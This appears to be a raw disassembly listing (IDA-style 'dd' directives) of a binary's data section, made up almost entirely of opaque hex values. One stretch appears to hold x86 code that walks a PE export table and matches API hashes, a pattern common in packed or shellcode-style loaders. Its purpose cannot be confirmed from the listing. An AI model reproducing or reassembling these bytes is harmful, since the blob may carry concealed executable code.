		dd 8D96442Ah, 621392F1h, 0ED1DF719h, 756334A5h,	6DB6EFC4h
		dd 0E0F89D28h, 18C0D50Bh, 51E6B076h, 0F18DBD6Bh, 0D8893A92h
		dd 0AF0D1A00h, 0DC8A993Eh, 966B1CBAh, 3EAEF8AAh, 0E8419399h
		dd 4B0132CEh, 18BA13h, 88E20000h, 3EBAF4A2h, 0C9877199h
		dd 0EC370E02h, 70B5FEAFh, 82682h, 0BD873D00h, 8D944228h
		dd 601192F1h, 4D7DD7AFh, 83B98E4Ah, 0C811C216h,	3EBBBFE4h
		dd 5BB50F99h, 3EBBC775h, 2F934499h, 993EBB81h, 8F3A9EFBh
		dd 0B7B464A5h, 0FAAB254Dh, 0D586B1h, 7E1646A0h,	0E64A8358h
		dd 993EB138h, 8DBB04B5h, 8CF8D008h, 81133192h, 5D478055h
		dd 0EF383FCCh, 60781DCDh, 0F7179F8Bh, 5910082h,	598AFCD1h
		dd 99198C7Fh, 18C0D381h, 9AD32743h, 18EDEBAAh, 99792EDFh
		dd 63AC2C69h, 25705099h, 6F8A68Ch, 0C4750083h, 0D4C17113h
		dd 63CF2F04h, 39A20A6Dh, 684C9530h, 8385B7h, 5F79B27Ch
		dd 0B337682Fh, 82D604E6h, 0C3A8334h, 0FDAD4F89h, 0D88C0798h
		dd 0B9ED66CBh, 685211EAh, 1FD06F42h, 5B7B1747h,	0F59F4D86h
		dd 8AD30CE1h, 25944935h, 98640083h, 0B2266F57h,	0A3356010h
		dd 0DEFB9BCBh, 0F481DBBh, 750895Eh, 2E9C66B2h, 2A0F7056h
		dd 0DB8C06D0h, 0A9F6B439h, 0B39971DFh, 0D1D50E6h, 76D0B263h
		dd 69C3F80Ah, 9AD3A830h, 57CFCBB0h, 0FE6B2A0Eh,	5CFEB2Dh
		dd 29DAFC9Ah, 2A226B51h, 0EE9FF17Bh, 9803CD19h,	22D0B6FBh
		dd 9FF17B2Ah, 2F683DEEh, 0E5C0A67Eh, 62F7CB9Fh,	0ECA9D9B1h
		dd 0FB9A4AECh, 0A022D0B6h, 0EE9FF7CBh, 1EB1823Dh, 1267D8B3h
		dd 995C1h, 0A2346400h, 91475000h, 84543FEFh, 746232E2h
		dd 667022D2h, 7AF52BC4h, 6C1CBE18h, 5909AB2Dh, 47F7993Dh
		dd 7BE88A4Eh, 0DA8F3D23h, 7D0C9943h, 0B9F89DB0h, 0F18E25D3h
		dd 40F1A292h, 0D90DBE85h, 0BA0B6073h, 94Eh, 47E9EDABh
		dd 36D80097h, 29CB0D86h, 19BB1B79h, 0BAD2969h, 0DBB73C72h
		dd 0F0A959FBh, 9646E8h,	118434D6h, 60B825C7h, 43DBCC7Ah
		dd 0EDBA4999h, 0BE0F89Dh, 7719BDD5h, 0A3D334F2h, 5A9EE7EFh
		dd 644A2290h, 993EB497h, 5B8B6314h, 92CBA038h, 1401E749h
		dd 785AFC0Eh, 835343AEh, 0BA684EAEh, 375AFC0Dh,	17FDD586h
		dd 5AFC0D69h, 0AC8435E6h, 49397DC6h, 6861CD61h,	2CACE7E6h
		dd 97341E57h, 558316E4h, 4D964780h, 0B6644A22h,	33614978h
		dd 0B0FCD182h, 0BAA078E6h, 6799EEDFh, 0A3D3AB5Ch, 479FE8F0h
		dd 0B85A7E17h, 904B8D08h, 48816DD3h, 97BB0C61h,	62000008h
		dd 4EFEA036h, 3DED8F49h, 30E08256h, 20D07264h, 29C26472h
		dd 0B42270F3h, 0A1376212h, 8F474FFFh, 80583DEDh, 331971DEh
		dd 9943DB85h, 9DA67302h, 0AB0BE0F8h, 76BF177Bh,	31614E48h
		dd 649D7266h, 0F18D5200h, 6D1ECF92h, 8E1765CBh,	376792F1h
		dd 0EA2E775Fh, 0AADAB220h, 0DB14E9EFh, 65543A92h, 0E29943D6h
		dd 6C295931h, 7B1ACA6Ch, 0D6A25036h, 6E1F9943h,	8AC34784h
		dd 43F4276Ah, 7C5A386Eh, 0B12571A7h, 2BFD43F6h,	1768BD7Ah
		dd 806h, 8F31A5F3h, 7E20B8DFh, 7113C5CEh, 6103D3C1h, 53F5E1B1h
		dd 93FF84BAh, 0A8F1A143h, 0B8DE8E30h, 0C9CC7C1Eh, 0A8006D0Fh
		dd 43DD14C2h, 35029199h, 0B4E3F89Dh, 65164F24h,	6A2C218Dh
		dd 8C6B345Fh, 796454A2h, 0E22B6DD1h, 9A3E578Dh,	0DF10DAC5h
		dd 6A2DAEE7h, 211BBD6Eh, 15065467h, 0DBFD98C8h,	7184CD06h
		dd 4CFh, 0FFE53F99h, 92F20D51h,	0BB91DCEh, 8592F20Eh, 6E1FCA0Eh
		dd 0BD87E025h, 5247774Fh, 8BE53D86h, 559E3A5Bh,	43D68271h
		dd 764EFF99h, 0E7894F46h, 13E85621h, 0B042C427h, 0DC0D5F12h
		dd 0B891FE9Ah, 8511416Ah, 0FA437C51h, 26E7h, 0BC872200h
		dd 0E290764Eh, 5F92F18Dh, 7FEDD9AEh, 1AB358EFh,	0BB5567C8h
		dd 41356146h, 7, 1F1827Ch, 873D0000h, 47774FBDh, 79B2874Fh
		dd 6BF2D830h, 0E89943D6h, 0A8026237h, 43D714C2h, 97E09199h
		dd 43D702B3h, 0DD0EDA99h, 0BF9705CFh, 795D3565h, 3E226BA4h
		dd 9F961FB7h, 0C5138634h, 6406B7F0h, 23F8DEB4h,	5931A5EDh
		dd 226B6B29h, 0ED3E90CDh, 0B7597D15h, 6E469207h, 29445B3Eh
		dd 2C306876h, 5BB0F9AAh, 8C647425h, 0F78DD220h,	5CA53A4Bh
		dd 3778CA07h, 3A9EF525h, 0EE46BB50h, 448D2711h,	0B3558316h
		dd 9592B54Dh, 6F672F9Fh, 60781DCDh, 0BC873E8Bh,	8B0A764Eh
		dd 1793DA0Fh, 0C0646DB2h, 0C2730B17h, 3A5F8F79h, 0D8CBC9Eh
		dd 575C61CBh, 43677C1h,	1506F304h, 0BD197BABh, 5366AFE8h
		dd 39Bh, 95A30F7Bh, 0A81A2AC4h,	0F59D1A5Fh, 7829AFE4h
		dd 0B8FA34A0h, 573AE93Fh, 0B0AEB90Eh, 453D6E40h, 37E7894Dh
		dd 0E1117B5Bh, 0A9B620B8h, 0DC0C0E5Fh, 0E471CBAh
		dd 0CDA23460h, 751D4B94h, 464F7F61h, 7D593B6Bh,	0F1C66B19h
		dd 4D37E892h, 24CA1C99h, 2C01B214h, 0F28A8F40h,	529B6792h
		dd 5A7C1848h, 26B2E311h, 14C2D484h, 8AA2533Fh, 13E592F2h
		dd 2AACEADAh, 96E82288h, 675F92F2h, 15072DA8h, 0FFFF4954h
		dd 0F89D8FFFh, 78E3EE0h, 5F10FCD1h, 3792F18Dh, 5342026Bh
		dd 5F33E385h, 71B6A277h, 0C63652Fh, 0D6771BAh, 652F7927h
		dd 0FC45F663h, 75828484h, 7570C5h, 68980000h, 1E63AC2Ah
		dd 774FBD87h, 43D70A91h, 1D68799h, 43D66815h, 0B7230399h
		dd 0E43C74FBh, 0A63261B1h, 9EE798D1h, 0A7619BD4h, 8135454h
		dd 0A1AC8AEh, 0E6979944h, 327B5D38h, 261Fh, 9E75A00h, 8092F198h
		dd 0FFFE3AB7h, 197372FFh, 0F18D8533h, 8510292h,	1ABFh
		dd 78FB6700h, 0BA3FC7BBh, 820B5099h, 277h, 3CEAD02Ah, 0B992F18Dh
		dd 9D7ABF08h, 0D50BE0F8h, 0B07618C0h, 0BC1C7BE6h, 744D330Bh
		dd 0C4993EA9h, 8CD50394h, 7ED8B061h, 3EA9EA98h,	6DB66799h
		dd 0AE4CB818h, 3F94F3A8h, 3DEFD31Ch, 0D8993EB5h, 0AB89EF8h
		dd 87993EB6h, 6AC38DD6h, 4B0CB050h, 413C13h, 87770000h
		dd 91774FBDh, 993E8DF0h, 4F891040h, 0CDF8417Ah,	7F14441Ch
		dd 5BBB1059h, 966B6B2Bh, 0FBC8D624h, 9F5071E8h,	12E1E1B5h
		dd 0B70023A6h, 3ED021D3h, 16ABC99h, 4B6219F7h, 0A1E313h
		dd 9D1E0000h, 0D50BE0F8h, 0E4419BDh, 467C5187h,	57B1894Fh
		dd 0F18DC371h, 468F4092h, 92DBBE24h, 405592F1h,	6630F698h
		dd 0A4F020F8h, 0DB245D32h, 476D9D83h, 8DBD9941h, 7524D206h
		dd 0C558E63h, 285830E1h, 1ACA6C6Ah, 0FAA35E78h,	607A28C6h
		dd 45CBA0Bh, 0FB9D0000h, 0E8939DBh, 1B7828CAh, 296B1BBDh
		dd 375B0BADh, 2E64FD9Fh, 53F5E1B1h, 40E2F6A3h, 2ED00690h
		dd 1FC1177Eh, 0C6745AB2h, 439943E0h, 4373E7B4h,	4A314A53h
		dd 0B9033174h, 9C4A3008h, 1992F26Fh, 0A1F11F68h, 0B2E39335h
		dd 9DBD8426h, 0D50BE0F8h, 0B07618C0h, 9ED33FE6h, 6EB804F4h
		dd 0DFB5E5BDh, 8D4949F7h, 0A506EC44h, 22993F69h, 0C3C9C71h
		dd 23075086h, 993F6973h, 2F3D6E38h, 3E98FA65h, 6ECFB58Dh
		dd 0EB9F8C6Eh, 6E7F2D13h, 4BFC9F8Ch, 0BE0F89Dh,	194921D2h
		dd 0A351377Ah, 209F8C6Eh, 0B0E9BE6Fh, 0B57F4567h, 9A896F47h
		dd 0EAA5DEB7h, 0B7FCAA90h, 673AA5DEh, 493896A2h, 115A0BB6h
		dd 2D5D35E6h, 6AD07266h, 0A5DE9DC2h, 187F5A3Ch,	0DAB2EBC0h
		dd 0DE9D46F4h, 6112C3A5h, 72F4BFh, 0E7AF0000h, 92F18D35h
		dd 973F5585h, 0A83D0A4Eh, 0F18E14C2h, 2FE09192h, 6917FD57h
		dd 0E692F18Dh, 1ACAEC35h, 2D875F79h, 0F18D9947h, 1C651692h
		dd 8D2DDBC7h, 6DC192F1h, 0AAEA1A3Ch, 0DEB5E32Ch, 8D3FEDD3h
		dd 0BBC92F1h, 0AEDEB85Ah, 77A5EEE8h, 0FCAA901Fh, 7992F18Dh
		dd 564217C8h, 92F18DA5h, 8E63731Fh, 0C89D3B58h,	0DF0398Bh
		dd 2D155628h, 4CB6D69h,	0B5E0F99Dh, 679D7223h, 4950802Fh
		dd 8D7D2B8Fh, 49FA92F1h, 0ED8C398h, 25B1E5DDh, 5DC8E14Dh
		dd 6A6EEE0Bh, 6D99FF21h, 0E492F1D0h, 6672DECh, 0FF59D915h
		dd 7314FFFFh, 3B845443h, 7B50880Dh, 0B0885045h,	79C21480h
		dd 59C79157h, 0A9C29B81h, 8E3F993Eh, 0C71186B6h, 1B70B9F2h
		dd 3EA97D2Fh, 65C61899h, 84544373h, 38C5C33Bh, 3EAF134Bh
		dd 0EA000000h, 774FBD87h, 0EA78B11Dh, 0EAB08EBBh, 0AB80563Ch
		dd 0A4452972h, 21993F06h, 0FDAF9B70h, 98993F06h, 87F3E546h
		dd 9534A7E3h, 5CD41DD8h, 134BB9BCh, 18C0D303h, 0AEC10A43h
		dd 0A8h, 0E0F89DE9h, 1AC8AE08h,	9792F18Eh, 12489DE6h, 4B815680h
		dd 83B98E4Ah, 0BE24C612h, 92F192DBh, 0F6984055h, 2DABEC1Ch
		dd 0F9DFB6E4h, 0A00ED824h, 0C3D5E2C8h, 0A152993Eh, 16F39FFh
		dd 7B0D4329h, 0D98A9F8Eh, 18C1D101h, 0D0A8597Fh, 10E5F3A0h
		dd 0BC6C8ED7h, 0A64500D6h, 0F88075FAh, 1F452A3h, 93050000h
		dd 0A6F1A143h, 0B3E09032h, 0C1D38325h, 0CFC37315h, 96CC6507h
		dd 0BB5D7919h, 0A84A8E0Bh, 96389EF8h, 8729AFE6h, 2EDCC21Ah
		dd 0AB9943E2h, 0F59D4F1Ch, 68F3FE1h, 265630D2h,	0AB91696Fh
		dd 92F18DFDh, 3B80C97Ah, 4152BD87h, 0DE0EE697h,	134C21B7h
		dd 0EB8C72CAh, 68993E8Dh, 25FADCBAh, 7A663BECh,	993E8DC8h
		dd 0BED81163h, 0FED3058Eh, 4047CC5h, 0F0134B20h, 0D7h
		dd 0E0F89D2Bh, 19BDD50Bh, 92755844h, 0A6EF92F1h, 9277250Bh
		dd 43F492F1h, 0FFD40495h, 0C37315C6h, 0D13106D2h, 602A3B65h
		dd 3D498A08h, 0D7CA5EE3h, 0F63A8334h, 8CE6BE2Ch, 0F18DF8A6h
		dd 7BC47592h, 0BF303D23h, 0FCAD993Eh, 5CCA945Ah, 96442A84h
		dd 13993EBFh, 0DBC11962h, 9F8E7346h, 0A3A12C3h,	6A455188h
		dd 8E73D684h, 0F1A2539Fh, 18F9E31Ch, 31916BF4h,	0E2BC5E0Fh
		dd 39A90476h, 341E2696h, 0AB4E672Bh, 0BCEA33EEh, 0B04500D6h
		dd 0EE8075FAh, 0E44899h, 83150000h, 9601B153h, 0A3F0A042h
		dd 0B1E39335h, 0BFD38325h, 0A6DC7517h, 0CB6D6929h, 0B85A7E1Bh
		dd 0A6488E08h, 97399FF6h, 3EECD22Ah, 0BB9943E3h, 0F59D5F2Ch
		dd 7324B2E4h, 0CEC7F7D1h, 293C10Ah, 9D6D34D6h, 9C08E0F8h
		dd 0C1B4B095h, 8BE029EEh, 0F6984055h, 20F86630h, 0A432E0C6h
		dd 1AF92F1h, 326B4098h,	0FAE03881h, 9943ED6Fh, 7D5B3EECh
		dd 0E9BE6FA8h, 0E9CFE2B3h, 9943ED3Bh, 0EDF7A58Bh, 0C3749943h
		dd 0FB7D6718h, 0E6425048h, 9D4DEFA0h, 1F0BE0F8h, 0E6D8385Ch
		dd 542C7DCFh, 0DEF89A41h, 7D1FD009h, 8613C8CDh,	93447D52h
		dd 0CA0C88BEh, 2485D9F5h, 0FD9F395Ch, 33A3F323h, 0AEDC255Eh
		dd 0CB1CF1E7h, 1Eh, 74090773h, 0F5CA0C8Ah, 4716D2BCh, 0F4D58369h
		dd 0A152E6D7h, 7362A7F0h, 3E874F43h, 0FB9DA6EBh, 0C5D006DBh
		dd 8E083E13h, 5C3D7348h, 2171A77Ch, 0E8AAE0B5h,	0B1E319EEh
		dd 791A5025h, 43548A5Fh, 683DC095h, 173Dh, 83242C89h, 1C8904ECh
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 2404895Ch
		dd 4E6868h, 24348900h, 0B340E9BEh, 6ECE810Dh, 8154727Fh
		dd 0A13661EEh, 5EF38957h, 24048B54h, 8104C483h,	4ECh, 241C8900h
		dd 8B08408Fh, 89502404h, 405E0h, 0C0830000h, 24048704h
		dd 2434FF5Ch, 4C4815Bh,	0E9000000h, 0FFFBE982h,	6E71A32Ch
		dd 0FC3159E7h, 5781B864h, 0C5030652h, 1982E0FFh, 0A9D633A7h
		dd 11EA1FF0h, 69DE5F55h, 0C5D60E57h, 0E51E6DC3h, 0EE3D7280h
		dd 0E73760DBh, 5C2237D1h, 2D725629h, 7F30505Dh,	0FF36100Dh
		dd 564D6118h, 6064431h,	58D333EEh, 0D3014986h, 178B2436h
		dd 0A45E2944h, 64F73503h, 7DC31B31h, 3C9E5EE7h,	0C59603A9h
		dd 4D767B1Eh, 18C3651Eh, 2D8F3596h, 0B0E91E69h,	60000000h
		dd 0F6DA8C66h, 850F04C2h, 0Ch, 1431853Bh, 840F064Dh, 36h
		dd 22C1853Bh, 840F064Dh, 2Ah, 395853Bh,	840F064Dh, 1Eh
		dd 2CE1853Bh, 840F064Dh, 12h, 3D1BD83h,	0F01064Dh, 584h
		dd 5FE900h, 0D08B0000h,	8B3C5203h, 88BAh, 784A8B00h, 840FC985h
		dd 49h,	0F8C281h, 728B0000h, 8BC8030Ch,	518B1C59h, 8BD80314h
		dd 0FC9850Bh, 1084h, 0FCE3B00h,	1782h, 0FCF3B00h, 0F83h
		dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4DE59D8Dh, 5B8064Dh
		dd 0FF000000h, 0BC361E3h, 60EBD0h, 0
		dd 16h dup(0)
		dd 0E9000000h, 0C2Dh, 0C21E9h, 621B6800h, 2EE90652h, 68FFFB26h
		dd 6526372h, 0FB2624E9h, 63EA68FFh, 1AE90652h, 1EFFFB26h
		dd 0C6A6B258h, 694955FBh, 0DEDF99Fh, 0AE8E9A40h, 31333FE5h
		dd 6B11DABFh, 12B87F5Fh, 0B45A2606h, 5A00C8A8h,	0BBEAB74Eh
		dd 0D4FCC7C5h, 3E9C616Ch, 0B57DCC72h, 0B95F2886h, 0CE2C7BECh
		dd 79946107h, 2A36DCA3h, 97D51F5Bh, 7885BA6Eh, 4EFE3749h
		dd 2891FADBh, 20B37BD9h, 6FE0AD53h, 9963C106h, 66B526F3h
		dd 0C1673391h, 0EEA7407Ch, 73CF7B9Ch, 2AF14F24h, 9059B784h
		dd 0D5A033FDh, 88F1622Fh, 5E8DDA1Fh, 0DB4E6822h, 0E59BCA0Fh
		dd 4CDB4E67h, 562B7AE3h, 0BC892FF8h, 0A6EB915Eh, 67562A59h
		dd 72DBDB4Eh, 26F04E23h, 0BC25CB93h, 20C691EFh,	0DEA80653h
		dd 0C70EE938h, 3B0260A5h, 3C7E43CAh, 1E873367h,	0C38AE051h
		dd 3481CE1Dh, 0F9AC26F8h, 8EE4774Ah, 0E25320C6h, 4ABB6493h
		dd 0CD36D13Dh, 0BFEE3B88h, 0D4FC96C1h, 93C20770h, 0D4FC96EDh
		dd 2E8CDB44h, 54B1BD63h, 4EACF187h, 428FDE84h, 0FC966913h
		dd 0A972C8D4h, 5DFA3603h, 5F6BC612h, 0CD369Fh, 493766B3h
		dd 0E8D4FCCFh, 0AD2307Fh, 2B1A1499h, 4CB5EB39h,	0AD75F640h
		dd 4675C207h, 0DB4F203Ah, 0C95A8EF7h, 0D68B5A06h, 0FE68307Fh
		dd 5F288636h, 2C7BECB9h, 26E68651h, 0C56D75BFh,	0DB31636h
		dd 20EF91C0h, 0D942DE4Fh, 3E228Ah, 86600000h, 20760A39h
		dd 52BBDB4Fh, 0C1AF2803h, 984A8601h, 8D53874Eh,	0E0DB0ACCh
		dd 1E6010ACh, 2D5382CFh, 4DB4ED9h, 0BE86DB9Bh, 4404AA75h
		dd 0BA602886h, 0A5F49A64h, 57B58E56h, 6B000000h, 4C91DFF8h
		dd 0B38026EEh, 862BF342h, 20760A39h, 52BBDB4Fh,	0B69B603h
		dd 67F7D142h, 0F61D388Ch, 0F94FC08Dh, 4DBE8B31h, 95B1CFFEh
		dd 0A806DB4Eh, 0DCEB3AE0h, 0FB59A6EBh, 1B658C32h, 16DB4E96h
		dd 95DEA2D1h, 0EA53DB4Eh, 866A3281h, 17AA75BEh,	7D3DA64Ch
		dd 0DDF8BC84h, 0F01B4A8Fh, 61D1382Ch, 0CC993F0Bh, 60ADF25Bh
		dd 9D7DE224h, 2950DFDEh, 0D5017857h, 4D2271DAh,	178561Eh
		dd 88BC2AD5h, 5BEA354Dh, 1B2E2B6h, 0F8200000h, 0FB488DE3h
		dd 21ECE0BFh, 0AA7EB258h, 0E61564ACh, 0DB4E3CA2h, 0B69369Fh
		dd 0C2919D43h, 6F52FF86h, 4EC34040h, 5488F1DBh,	257B2093h
		dd 79EAB75Dh, 0AD75622Ah, 36FE4707h, 0D191DFF8h, 0DE602886h
		dd 4F20D1AFh, 8EF760DBh, 0A9F185C1h, 0EC45626Eh, 0D6203483h
		dd 1636C56Dh, 0E4AF0DB3h, 0B100713Eh, 3549h, 0DFF88700h
		dd 3986D191h, 20C3BDECh, 56EDB4Fh, 20F987B6h, 0CF38DB4Fh
		dd 0A39860Fh, 0DB4F2076h, 0B60352BBh, 5D2886EEh, 3F0A68B7h
		dd 0BC84D999h, 29B5h, 0DFF86B00h, 5786D191h, 0DB4F2129h
		dd 8026EECCh, 0BE865717h, 4404AA75h, 53FB3784h,	0BA8A2C1Fh
		dd 22026CA0h, 7862D63Dh, 0E3F86129h, 6B19488Dh,	0D6DB4F20h
		dd 7A42A06Dh, 757EC8D4h, 0FE4707ADh, 144A8636h,	3B00B09h
		dd 83542F7Eh, 2C5BA8EDh, 0DB4E9B54h, 2F74DDh, 0DB4E9B80h
		dd 31F948B1h, 0C56D75BFh, 0F2B31636h, 56h, 91DFF830h, 0A3986D1h
		dd 0DB4F2076h, 394776BBh, 0F8DB4F20h, 8AD7268Fh, 7218DF3Dh
		dd 208CF423h, 3CA5DB4Fh, 57BAAF7h, 2CDB4F21h, 86AC74C3h
		dd 28AA75BEh, 4F2087F9h, 0D841AADBh, 0B64A8618h, 459AAD2Fh
		dd 0B7D7A9D8h, 0F15ADB4Eh, 22EA3988h, 48B5h, 39866B00h
		dd 4F20760Ah, 9A65BBDBh, 613C8BF4h, 8636F676h, 4F212957h
		dd 96DBCCDBh, 20661A49h, 62CBDB4Fh, 0CE9B410Ch,	86460E5Dh
		dd 204A86BEh, 8D101FE9h, 38DEA8FEh, 4DABFA6Bh, 861CDC82h
		dd 62B85E28h, 55A4F399h, 0CEB58Dh, 0AAE60000h, 126D4FB6h
		dd 5CD1C57h, 488DE3F8h,	6F33F40Ch, 0D98F74D4h, 34013583h
		dd 5AA7F609h, 4E795D2Bh, 0AE7BE4DBh, 0D6E28850h, 7AD758Ch
		dd 64B1FE47h, 4F204B35h, 72A1E6DBh, 0DB4F210Eh,	251BA23h
		dd 91DFF83Ah, 6D75BFD1h, 0B31636C5h, 44F2h, 39863000h
		dd 4F20760Ah, 0FC52BBDBh, 643F8E34h, 6BB8FD73h,	4F20443Ch
		dd 3F84EDDBh, 4F207010h, 958C1DBh, 0FD398641h, 98E8FF7Bh
		dd 184796F8h, 0DB4E9268h, 86A060C9h, 4AA75BEh, 0B5BC8444h
		dd 38h,	91DFF86Bh, 5D2886D1h, 0EC1B68B7h, 0DB4F2094h, 0AE78D623h
		dd 0A3CA3B08h, 0DB4F20DDh, 8D9CEB54h, 0BE86DC9Ch, 0BF04AA75h
		dd 0E7357C83h, 0C6153319h, 0D93784FEh, 5018670Dh, 3A07AD75h
		dd 256A10DCh, 958FEC7h,	0A74D15F5h, 973D0462h, 26CBFD63h
		dd 0D5C30D2h, 0A9790938h, 866ADB4Eh, 17DE3CDEh,	0AE17BD84h
		dd 0B739015Fh, 4EA9F888h, 67D039DBh, 0DB37B5Bh,	7FE75F40h
		dd 0E8B05311h, 1BE88E55h, 0D83541AAh, 0DD2A6FFDh, 0B80EB47Fh
		dd 0CDFC4BF1h, 0D137B63Eh, 4EF4BD13h, 62A71081h, 5116CC26h
		dd 0A415E288h, 3E64070h, 22233440h, 69BF2873h, 0D6ABFAA0h
		dd 203CDA7h, 1F45B3D5h,	5B5F42E4h, 1779B6h, 75B70000h
		dd 0A74D1AADh, 330069DAh, 4F207C04h, 0C18367DBh, 0A4B0561Eh
		dd 0A39865Ah, 0DB4F2076h, 0F29865BBh, 0FC4BB425h, 6330D69Eh
		dd 9E6BC916h, 93BA2BF8h, 0DB4F20EDh, 6796DB44h,	0DB4F2119h
		dd 8560AF18h, 8AD71C50h, 0EDBA602Ch, 212B557Ch,	9D06DB4Fh
		dd 67B4014Eh, 4F204838h, 0C793E9DBh, 7AE35421h,	7AEFFC2Bh
		dd 0B922D13Dh, 0B380DEADh, 0C67E0231h, 4AB3D4FCh, 54A314E1h
		dd 0CB105C79h, 0E5D36F9Ch, 3479E2CAh, 0BBC8B8E7h, 69CEAFh
		dd 0C7ADDCB1h, 0B9CEAFBBh, 9C420C6Ah, 9163E14Dh, 10277355h
		dd 0CE1D48CDh, 891FDE68h, 2FFDBCh, 0F83B0000h, 31D7A0E3h
		dd 3C5483C8h, 9BDB4F21h, 0FBAD485Fh, 67B6A598h,	88E62B94h
		dd 79C615BBh, 9FAB511Bh, 5AB72D0h, 5A78C738h, 23h, 8DE3F810h
		dd 206B1948h, 91D6DB4Fh, 4F211E62h, 41AA13DBh, 5B73AFFCh
		dd 0B3B92412h, 0BA84E231h, 86BE0814h, 20760A39h, 52BBDB4Fh
		dd 17CE503h, 0F89B0000h, 0FE4B90E0h, 4F20B1CFh,	0C11780DBh
		dd 3A0251F7h, 0B65C2886h, 0A4F39960h, 8F4682CFh, 233E90BAh
		dd 75F5BD0Ch, 0BF4707ADh, 36C56D75h, 0D10DB316h, 63BCBBA7h
		dd 80AF39h, 31DE4ECCh, 0A8105FC8h, 49h,	90E0F8E6h, 295786D0h
		dd 8EDB4F21h, 0F6C36930h, 0D633685h, 75359E44h,	7C914A86h
		dd 675B8392h, 7503CB18h, 86FA29ABh
		db 20h,	4Fh
word_594F42	dw 0ABDBh		; DATA XREF: ___:off_438130o
		dd 8419D942h, 0C5BBEA37h, 0E1DB4F20h, 33A47117h, 0A1471268h
		dd 0B521E938h, 1Bh, 5B28866Bh, 4D8B66B5h, 57866525h, 0DB4F2129h
		dd 861BDBCCh, 5AB75BEh,	75BC8445h, 0FE4707ADh, 0A4DFF836h
		dd 0F96A37DDh, 2886D090h, 7AEBB85Eh, 0C48172Bh,	42849CFFh
		dd 0A3653D7Bh, 0CEDC5185h, 670DD82Eh, 12DA299Ah, 1636C56Dh
		dd 30F2B3h, 0F8300000h,	36DCA4DFh, 622A88CDh, 86A56DBCh
		dd 80ABFF4Ah, 0C016A8D8h, 0B70453F9h, 4E41F888h, 10D039DBh
		dd 0AA75BE86h, 0BC844404h, 3DB5h, 0DFF86B00h, 3986D191h
		dd 8B61B0ECh, 0DD18711Eh, 4E8ACAB6h, 0A8FE67DBh, 0FC6D3AE0h
		dd 8B027EADh, 26F3DB4Eh, 4E8A89F7h, 0D63FA8DBh,	75BE8616h
		dd 83BF04AAh, 4B637500h, 0A870BF01h, 0A975BC84h, 2088F827h
		dd 541EDB4Fh, 0A570E1AEh, 76DF854Fh, 6211400Dh,	66DB4F20h
		dd 4D19CC78h, 6ECC9BA7h, 0E532FFA5h, 4F20CAB6h,	95FE67DBh
		dd 0A9757E46h, 0CD83603h, 43A99966h, 6C12DE01h,	5C02C927h
		dd 0BBCF1E8Fh, 4F2B080Ah, 0CF44E0DBh, 77BEE6DFh, 0C93A07ADh
		dd 54B2F760h, 0D6331C8Dh, 80BDAA50h, 0C362C817h, 0F6B016CFh
		dd 0FFFFFE47h, 0AF4A8634h, 20C68E5Ah, 6FC0DFECh, 5083F120h
		dd 0D724DB4Eh, 4E50D8A8h, 5D03CEDBh, 0EB541F90h, 52876D9Ch
		dd 433EDB4Eh, 74DB4E50h, 0A3B7C038h, 4F7ECAD4h,	0DB4E4531h
		dd 0DF2E9700h, 4E44C4B0h, 447301DBh, 2252DB4Eh,	0F79B4E44h
		dd 1A498EDEh, 113E3ECFh, 21FCC932h, 0D3ADDCB4h,	0D314FE4Ah
		dd 329B660Ch, 925584C9h, 6F0AE75Fh, 5342EE06h, 956A587Eh
		dd 2D277h, 24CA9000h, 0C76D3818h, 6B11DBBBh, 0CB27F5Fh
		dd 0B1572000h, 4C0DA3A5h, 0F1D1DD83h, 9878842Ah, 3A1A26CCh
		dd 29C0CC72h, 0BE532D5Ch, 0D3DED4FCh, 7AD7593h,	0A7D286C2h
		dd 49C10151h, 9CD825FAh, 9CBE25A1h, 0F19761A0h,	775E3988h
		dd 0D257912Ah, 438EB7F5h, 731C3C9Fh, 4B1369D2h,	0FE67D8A5h
		dd 5E658AB9h, 43ACD13Dh, 0AAEE8637h, 5BB9D4FCh,	0C894EA90h
		dd 95E45522h, 0C511BBAh, 0EB0536DDh, 8D331CAh, 0EA401362h
		dd 5B22781Eh, 0E77E8B5h, 521E7CC9h, 1F6EDFACh, 4753F9C1h
		dd 2CF99F67h, 0AA517FFDh, 412BAACEh, 5E6CC0FCh,	0B78953D7h
		dd 14B32B83h, 4E9DEB4Dh, 0B625D201h, 93FCC498h,	8228F04Eh
		dd 5DCE9676h, 4C1B8D04h, 8C59C233h, 915B24B1h, 0E3D82EBh
		dd 0BE461DDDh, 0B1FECB34h, 17E48A53h, 4E3261A6h, 0E3C20569h
		dd 85502B7Ah, 69A4DC0Bh, 248DC205h, 0F86107CEh,	0C49B84B3h
		dd 0ED56B7F3h, 0DC824AA8h, 0B7C501D0h, 7B5CACD3h, 7D45A3F2h
		dd 99DB0AD7h, 80BBB307h, 0A3D21755h, 0B1A12E4Ch, 428F5CC5h
		dd 10A20F06h, 26759A95h, 9DE28A4Bh, 6EB31450h, 0AADFA8D0h
		dd 607A057Bh, 5AC32CB5h, 9183DC0Bh, 56EAB49h, 0D8054DEDh
		dd 6C8A5FB8h, 17Bh, 6F7B21E7h, 121EC48Fh, 0B6C26832h, 576309D6h
		dd 0FC08AE77h, 0D8A1F6FAh, 7F462632h, 21EDCDD9h, 0C78F6F7Bh
		dd 0B17E1521h, 0FCBDFE82h, 0E82833D4h, 4A8FDDF8h, 20B2CEFDh
		dd 297FDB4Fh, 7CEDBA60h, 4877C413h, 0D13D7AA7h,	5934016Ah
		dd 4DABF07Ch, 0A112DF85h, 6BB80552h, 0FCC6443Ch, 0F19762D4h
		dd 7FE8B324h, 0F0AA0130h, 0FE67CAE5h, 7C3E6EE6h, 5B794E98h
		dd 103h, 0E7F3995Fh, 8A963C07h,	2E3AE0AAh, 0CFDB814Eh
		dd 748026EFh, 50197E72h, 0F7BE9EAAh, 99654551h,	3F07E7F3h
		dd 29F68D99h, 0FCBD86FAh, 60A0ABD4h, 4A8FDDF8h,	3D7ADC1Bh
		dd 0A46DCBD1h, 71C031FEh, 0D97F489Eh, 65329B0Ch, 8D993F07h
		dd 0F09660BEh, 3F7FE723h, 0A75267C0h, 751BE83Eh, 8AE837A8h
		dd 79D71CC2h, 0EDB60CB2h, 4823F847h, 6B9ADF8Dh,	0CAEB25A8h
		dd 0F5C4D039h, 0E3197CB9h, 81B0DD9Eh, 0CEAA75FFh, 1160C932h
		dd 3642E8B3h, 0A1E68C56h, 755B2554h, 6DD6CEAAh,	5D2A0A1Eh
